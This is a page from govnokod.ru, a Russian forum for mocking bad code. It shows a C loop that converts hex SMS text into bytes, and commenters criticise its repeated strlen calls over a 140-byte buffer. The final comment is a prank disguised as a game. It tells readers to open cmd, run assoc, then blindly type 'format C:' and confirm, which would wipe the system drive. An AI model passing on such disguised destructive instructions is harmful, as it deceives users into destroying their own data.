- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
while ( strlen ( &ParseSMS[pos] ) != 0 )
{
Byte0 = HexToByte(&ParseSMS[pos]);
pos += 2;
pSMS->sms[txt_counter] = Byte0;
txt_counter ++;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+145
while ( strlen ( &ParseSMS[pos] ) != 0 )
{
Byte0 = HexToByte(&ParseSMS[pos]);
pos += 2;
pSMS->sms[txt_counter] = Byte0;
txt_counter ++;
}
достались исходнички. Человек не знает, как работает strlen
а буфер то на 140 байт !
в общем. кто не в курсе работы strlen даю подсказку:
за первое выполние strlen сделает проверку 140 байт
за второе - 138 байт
за третье - 136 байт
в итоге в массиве на 140 байт будет 4970 проверок этих самых байт !
таки дело не в strlen, а в asciiz строках
Открываем Пуск » Выполнить...
Вводим в поле cmd и нажимаем OK.
В появившемся окне вводим assoc.
Пока будет выводиться информация, набираем «вслепую» format C:, нажимаем Enter, затем Y, затем снова Enter.
Наслаждаемся игрой!